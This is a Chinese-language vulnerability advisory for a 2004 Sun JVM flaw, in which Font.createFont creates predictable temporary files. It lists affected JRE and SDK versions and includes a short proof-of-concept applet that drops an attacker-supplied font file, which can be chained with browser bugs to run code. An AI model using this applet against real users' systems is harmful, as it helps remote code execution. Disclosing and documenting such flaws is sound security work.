首页 -> 安全研究
安全研究
安全漏洞
Sun JVM Font.createFont方法以不安全方式创建临时文件漏洞
发布日期:2004-07-09
更新日期:2004-07-14
受影响系统:
Sun JRE (Windows Production Release) 1.4.2_04描述:
Sun JRE (Windows Production Release) 1.4.2_03
Sun JRE (Windows Production Release) 1.4.2_02
Sun JRE (Windows Production Release) 1.4.2_01
Sun JRE (Windows Production Release) 1.4.2
Sun JRE (Windows Production Release) 1.4.1_07
Sun JRE (Windows Production Release) 1.4.1_03
Sun JRE (Windows Production Release) 1.4.1_02
Sun JRE (Windows Production Release) 1.4.1_01
Sun JRE (Windows Production Release) 1.4.1
Sun JRE (Windows Production Release) 1.4.0_03
Sun JRE (Windows Production Release) 1.4
Sun JRE (Windows Production Release) 1.3_05
Sun JRE (Windows Production Release) 1.3.1_06
Sun JRE (Windows Production Release) 1.3.1_05
Sun JRE (Windows Production Release) 1.3.1_03
Sun JRE (Windows Production Release) 1.3.1_02
Sun JRE (Windows Production Release) 1.3.1_01a
Sun JRE (Windows Production Release) 1.3.0_02
Sun JRE (Windows Production Release) 1.3
Sun JRE (Windows Production Release) 1.2.2_011
Sun JRE (Windows Production Release) 1.2.2_010
Sun JRE (Windows Production Release) 1.2.2_007
Sun JRE (Windows Production Release) 1.2.1
Sun JRE (Windows Production Release) 1.2
Sun JRE (Windows Production Release) 1.1.8_009
Sun JRE (Windows Production Release) 1.1.8_008
Sun JRE (Windows Production Release) 1.1.8_007
Sun SDK (Windows Production Release) 1.4.2_04
Sun SDK (Windows Production Release) 1.4.2_03
Sun SDK (Windows Production Release) 1.4.2
Sun SDK (Windows Production Release) 1.4.1_03
Sun SDK (Windows Production Release) 1.4.1_02
Sun SDK (Windows Production Release) 1.4.1_01
Sun SDK (Windows Production Release) 1.4.1
Sun SDK (Windows Production Release) 1.4.0_03
Sun SDK (Windows Production Release) 1.4.0_02
Sun SDK (Windows Production Release) 1.4
Sun SDK (Windows Production Release) 1.3_05
Sun SDK (Windows Production Release) 1.3.1_06
Sun SDK (Windows Production Release) 1.3.1_05
Sun SDK (Windows Production Release) 1.3.1_03
Sun SDK (Windows Production Release) 1.3.1_02
Sun SDK (Windows Production Release) 1.3.1_01a
Sun SDK (Windows Production Release) 1.3.0_02
Sun SDK (Windows Production Release) 1.2.2_011
Sun SDK (Windows Production Release) 1.2.2_010
Sun SDK (Windows Production Release) 1.2.2_007
Sun SDK (Windows Production Release) 1.2.1
Sun SDK (Windows Production Release) 1.2
BUGTRAQ ID: 10685
Sun的Java Runtime Environment (JRE)为JAVA应用程序提供可靠的运行环境。
Sun JVM的'Font.createFont'方法不正确建立临时文件,远程攻击者可以利用这个漏洞以用户进程权限执行任意代码。
'Font.createFont'方法建立如下名字的临时文件:
+~JFxxxxx.tmp
其中的xxxxx是随机数,结合IE等其他调用JAVA的应用程序漏洞可能造成任意代码执行。
<*来源:jelmer (jelmer@kuperus.xs4all.nl)
http-equiv (http-equiv@malware.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http-equiv (http-equiv@malware.com)提供了如下测试方法:
import java.applet.Applet;
import java.awt.Font;
import java.net.URL;
import netscape.javascript.JSObject;
public class Jelmer extends Applet {
public void init() {
try {
Font f = Font.createFont(Font.TRUETYPE_FONT, new
URL(getParameter("infile")).openStream());
} catch(Exception ignored) {}
try {
JSObject jsWin = JSObject.getWindow(this);
jsWin.call("doneloading", new Object[]{});
} catch(Exception e) {
e.printStackTrace();
}
}
}
建议:
厂商补丁:
Sun
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://java.sun.com/j2se/
浏览次数:3120
严重程度:0(网友投票)
绿盟科技给您安全的保障